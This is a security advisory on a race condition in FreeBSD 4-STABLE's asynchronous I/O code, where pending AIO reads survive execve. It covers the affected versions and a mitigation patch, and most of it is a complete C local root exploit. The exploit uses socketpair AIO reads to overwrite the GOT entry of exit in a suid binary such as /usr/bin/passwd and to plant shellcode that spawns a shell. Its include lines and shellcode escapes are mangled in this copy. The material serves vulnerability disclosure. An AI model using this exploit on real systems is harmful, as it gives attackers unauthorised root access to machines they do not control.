Race Condition in FreeBSD AIO Implementation
AIO is a POSIX standard for asynchronous I/O. Under certain conditions, scheduled AIO operations persist after an execve, allowing arbitrary overwrites in the memory of the new process. Combined with the permission to execute suid binaries, this can yield elevated privileges. Currently VFS_AIO is not enabled in the default FreeBSD kernel configuration, however comments in ``LINT'' suggest security issues have been known about privately for some time:
# Use real implementations of the aio_* system calls. There are numerous
# stability issues in the current aio code that make it unsuitable for
# inclusion on shell boxes.
The type of file descriptor used for the AIO operation is important. For instance, operations on pipes will not complete fully after an execve, whereas operations on sockets will. It is not known whether AIO operations on hard disk files persist in the desired manner.
Vulnerable systems:
FreeBSD 4-STABLE up to at least 28/10/01
Temporary solution:
Currently there are no known patches to remove all security issues. However, a patch is available to limit the use of AIO syscalls to root at http://elysium.soniq.net/dr/tao/patch-01
Exploit:
/* tao - FreeBSD Local AIO Exploit
*
* http://elysium.soniq.net/dr/tao/tao.html
*
* 4.4-STABLE is vulnerable up to at least 28th October.
*
* (C) David Rufino 2001
* All Rights Reserved.
*
********************************************************************************
* bug found 13/07/01
*
* Any scheduled AIO read/writes will generally persist through an execve.
*
* "options VFS_AIO" must be in your kernel config, which is not enabled
* by default.
*
* It may be interesting to note that the FreeBSD team have known about this
* bug for a long time. Just take a look at 'LINT'.
*
* get the GOT address of exit, from any suid bin, by doing:
* $ objdump --dynamic-reloc bin | grep exit
*/
#include
#include
#include
#include
#include
#include
char code[]=
"x31xc0x50x50xb0x17xcdx80"
"x6ax3bx58x99x52x89xe3x68x6ex2fx73x68"
"x68x2fx2fx62x69x60x5ex5excdx80";
unsigned long GOT = 0x0804fe20;
char *execbin = "/usr/bin/passwd";
int
main (argc, argv)
int argc;
char **argv;
{
int fds[2], sdf[2];
struct aiocb cb, cb2;
char buf[128], d;
if ((d = getopt (argc, argv, "g:e:")) != -1) {
switch (d) {
case 'g':
GOT = strtoul (optarg, NULL, 16);
break;
case 'e':
execbin = optarg;
break;
}
}
printf ("got address: %08lxn", GOT);
printf ("executable: %sn", execbin);
/*
* pipes are treated differently to sockets, with sockets the
* aiod gets notifyed, whereas with pipes the aiod starts
* immediately blocking in fo_read. This is a problem because
* after the execve the aiod is still using the old vmspace struct
* if you use pipes, which means the data doesnt actually get copied
*/
if (socketpair (AF_UNIX, SOCK_STREAM, 0, fds) < 0) {
perror ("socketpair");
return (EXIT_FAILURE);
}
if (socketpair (AF_UNIX, SOCK_STREAM, 0, sdf) < 0) {
perror ("socketpair");
return (EXIT_FAILURE);
}
if (fork() != 0) {
close (fds[0]);
close (sdf[0]);
memset (&cb, 0, sizeof(cb));
memset (&cb2, 0, sizeof(cb2));
cb.aio_fildes = fds[1];
cb.aio_offset = 0;
cb.aio_buf = (void *)GOT;
cb.aio_nbytes = 4;
cb.aio_sigevent.sigev_notify = SIGEV_NONE;
cb2.aio_fildes = sdf[1];
cb2.aio_offset = 0;
cb2.aio_buf = (void *)0xbfbfff80;
cb2.aio_nbytes = sizeof(code);
cb2.aio_sigevent.sigev_notify = SIGEV_NONE;
if (aio_read (&cb2) < 0) {
perror ("aio_read");
return (EXIT_FAILURE);
}
if (aio_read (&cb) < 0) {
perror ("aio_read");
return (EXIT_FAILURE);
}
execl (execbin, "test", NULL);
} else {
close(fds[1]);
close(sdf[1]);
sleep(2);
printf ("writingn");
write (sdf[0], code, sizeof(code));
*(unsigned int *)buf = 0xbfbfff80;
write (fds[0], buf, 4);
}
return (EXIT_SUCCESS);
}
/*
* vim: ts=8
*/
Additional information
The information has been provided by David Rufino.